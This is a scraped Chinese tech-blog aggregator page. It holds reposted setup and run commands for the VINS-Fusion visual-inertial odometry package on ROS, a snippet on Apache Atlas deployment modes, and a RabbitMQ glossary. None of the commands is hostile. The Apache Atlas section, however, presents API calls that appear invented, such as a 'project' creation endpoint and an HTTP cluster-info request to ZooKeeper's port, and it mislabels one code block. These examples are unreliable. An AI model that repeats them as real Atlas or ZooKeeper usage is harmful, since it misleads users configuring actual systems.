--><!-- Use run_depend for packages you need at runtime: --><!-- <run_depend>message_runtime</run_depend> --><!-- Use test_depend for packages you need only for testing: --><!-- <test_depend>gtest</test_depend> --><buildtool_depend>catkin</buildtool_depend><build_depend>geometry_msgs</build_depend><build_depend>roscpp</build_depend><build_depend>rospy</build_depend><build_depend>std_msgs</build_depend><run_depend>geometry_msgs</run_depend><run_depend>roscpp</run_depend><run_depend>rospy</run_depend><run_depend>std_msgs</run_depend><build_depend>message_generation</build_depend><run_depend>message_runtime</run_depend><!-- The export tag contains other, unspecified, tags --><export><!-- Other tools can request additional information be placed here --></export></package> vins_fusion: 双目vio等多系统 mkdir -p vins-catkin_ws/srccd vins-catkin_ws/srcgit clone https://github.com/HKUST-Aerial-Robotics/VINS-Fusion.gitcd ..catkin_makesource devel/setup.bash按照readme 3.1 Monocualr camera + IMUroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_mono_imu_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_mono_imu_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag 3.2 Stereo cameras + IMUroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_imu_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_imu_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag 3.3 Stereo camerasroslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_config.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/euroc/euroc_stereo_config.yaml rosbag play YOUR_DATASET_FOLDER/MH_01_easy.bag<img src="https://github.com/HKUST-Aerial-Robotics/VINS-Fusion/blob/master/support_files/image/euroc.gif" width = 430 height = 240 /> 4. KITTI Example 4.1 KITTI Odometry (Stereo)Download [KITTI Odometry dataset](http://www.cvlibs.net/datasets/kitti/eval_odometry.php) to YOUR_DATASET_FOLDER. Take sequences 00 for example,Open two terminals, run vins and rviz respectively. (We evaluated odometry on KITTI benchmark without loop closure funtion)roslaunch vins vins_rviz.launch(optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/kitti_odom/kitti_config00-02.yamlrosrun vins kitti_odom_test ~/catkin_ws/src/VINS-Fusion/config/kitti_odom/kitti_config00-02.yaml YOUR_DATASET_FOLDER/sequences/00/ 4.2 KITTI GPS Fusion (Stereo + GPS)Download [KITTI raw dataset](http://www.cvlibs.net/datasets/kitti/raw_data.php) to YOUR_DATASET_FOLDER. Take [2011_10_03_drive_0027_synced](https://s3.eu-central-1.amazonaws.com/avg-kitti/raw_data/2011_10_03_drive_0027/2011_10_03_drive_0027_sync.zip) for example.Open three terminals, run vins, global fusion and rviz respectively. Green path is VIO odometry; blue path is odometry under GPS global fusion.roslaunch vins vins_rviz.launchrosrun vins kitti_gps_test ~/catkin_ws/src/VINS-Fusion/config/kitti_raw/kitti_10_03_config.yaml YOUR_DATASET_FOLDER/2011_10_03_drive_0027_sync/ rosrun global_fusion global_fusion_node<img src="https://github.com/HKUST-Aerial-Robotics/VINS-Fusion/blob/master/support_files/image/kitti.gif" width = 430 height = 240 /> 5. VINS-Fusion on car demonstrationDownload [car bag](https://drive.google.com/open?id=10t9H1u8pMGDOI6Q2w2uezEq5Ib-Z8tLz) to YOUR_DATASET_FOLDER.Open four terminals, run vins odometry, visual loop closure(optional), rviz and play the bag file respectively. Green path is VIO odometry; red path is odometry under visual loop closure.roslaunch vins vins_rviz.launchrosrun vins vins_node ~/catkin_ws/src/VINS-Fusion/config/vi_car/vi_car.yaml (optional) rosrun loop_fusion loop_fusion_node ~/catkin_ws/src/VINS-Fusion/config/vi_car/vi_car.yaml rosbag play YOUR_DATASET_FOLDER/car.bag 本篇文章为转载内容。原文链接:https://blog.csdn.net/slzlincent/article/details/104364909。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-13 20:38:56
310
转载
Apache Atlas
...-env.sh); 启动所有服务(如:bin/start-all.sh); 浏览器访问http://localhost:21000进行初始化设置。 以下是使用Apache Atlas创建一个项目的基本代码示例: javascript // 创建项目 POST http://localhost:21000/api/v2/project { "name": "my_project", "description": "My first project with Apache Atlas" } 三、集群部署模式 集群部署模式适合中大型企业或团队使用,可以提高系统的可用性和性能。 1. 部署步骤 在多台机器上安装并启动Apache Atlas的所有服务; 使用Zookeeper进行服务注册和发现; 使用Apache Atlas API进行项目管理和其他操作。 以下是使用Apache Atlas在集群中创建一个项目的代码示例: php-template // 获取Zookeeper集群的地址 GET http://localhost:2181/_clusterinfo // 创建项目 POST http://localhost:21000/api/v2/project { "name": "my_project", "description": "My first project with Apache Atlas" } 四、混合部署模式 混合部署模式结合了单机和集群的优势,既可以提供较高的性能,又可以保证数据的安全性和可靠性。 1. 部署步骤 在单台机器上安装并启动Apache Atlas的服务,作为中央控制节点; 在多台机器上安装并启动Apache Atlas的服务,作为数据处理节点; 使用Zookeeper进行服务注册和发现; 使用Apache Atlas API进行项目管理和其他操作。 以下是使用Apache Atlas在混合部署中创建一个项目的代码示例: javascript // 创建中央控制节点 GET http://localhost:21000/api/v2/projects // 获取Zookeeper集群的地址 GET http://localhost:2181/_clusterinfo // 创建数据处理节点 POST http://localhost:21000/api/v2/nodes { "hostName": "data-node-1", "port": 21001, "role": "DATA_NODE" } // 创建项目 POST http://localhost:21000/api/v2/project { "name": "my_project", "description": "My first project with Apache Atlas" } 五、微服务部署模式 微服务部署模式是近年来越来越流行的一种部署方式,可以让企业更加灵活地应对业务的变化和需求的增长。 1. 部署步骤 将Apache Atlas分解为多个微服务,例如:项目管理、数据目录、元数据存储等; 使用Docker进行容器化部署; 使用Kubernetes进行服务编排和管理; 使用Apache Atlas API进行项目管理和其他操作。 以下是使用Apache Atlas在微服务部署中创建一个项目的代码示例: javascript // 安装并启动项目管理微服务 docker run -d --name atlas-project-management my-atlas-project-management-image // 安装并启动数据目录微服务 docker run -d --name atlas-data-directory my-atlas-data-directory-image // 安装并启动元数据存储微服务 docker run -d --name atlas-metadata-storage my-atlas-metadata-storage-image // 创建项目 POST http://localhost:21000/api/v2/project { "name": "my_project", "description": "My first project with Apache Atlas" } 总结 Apache Atlas有多种部署模式供用户选择,用户可以根据自己的需求和技术条件来选择最合适的部署方式。甭管您选择哪种部署方式,Apache Atlas都能像个小助手一样,帮助企业老铁们把数据资产打理得井井有条,妥妥地保护好这些宝贝资源。
2023-07-31 15:33:19
456
月下独酌-t
RabbitMQ
...息中间件是一种软件或服务,它在分布式系统中充当中介角色,负责在不同的应用程序之间传递、路由和暂存消息。在本文上下文中,RabbitMQ就是一种广泛使用的消息中间件,它可以解耦服务之间的直接依赖关系,通过异步处理提高系统的可伸缩性和可靠性。 死信队列(Dead Letter Queue) , 在RabbitMQ中,死信队列是一个特殊的队列,用于存储那些无法被正确路由或者由于其他原因不能正常消费的消息。当消息由于各种异常情况如路由失败、超时未被消费等,会被转移到这个“小黑屋”一样的特殊队列中,从而避免消息丢失,并且允许开发者对这些异常消息进行后续处理或分析。 确认机制(Acknowledgement Mechanism) , 确认机制是RabbitMQ为保证消息可靠传输而设计的一种机制。当Producer发送消息到Broker后,Consumer接收到消息并成功处理后,会向RabbitMQ发送一个确认信号(acknowledgement),告知消息已被正确消费。这样,如果Consumer在处理消息过程中出现故障导致未能发送确认,RabbitMQ可以重新将该消息投递给另一个Consumer,以此来防止消息因Consumer端的异常而丢失。 持久化存储(Persistent Storage) , 在RabbitMQ中,持久化存储是指将消息保存在磁盘上,即使RabbitMQ服务器重启或者发生故障,消息也能得以保留。启用消息队列和交换器的持久化选项,可以使消息在网络中断或其他临时性问题导致数据丢失的情况下依然保持持久,增强了消息的可靠性。
2023-07-19 16:46:45
86
草原牧歌-t
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
find /path/to/search -name "filename"
- 在指定目录下递归查找文件。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"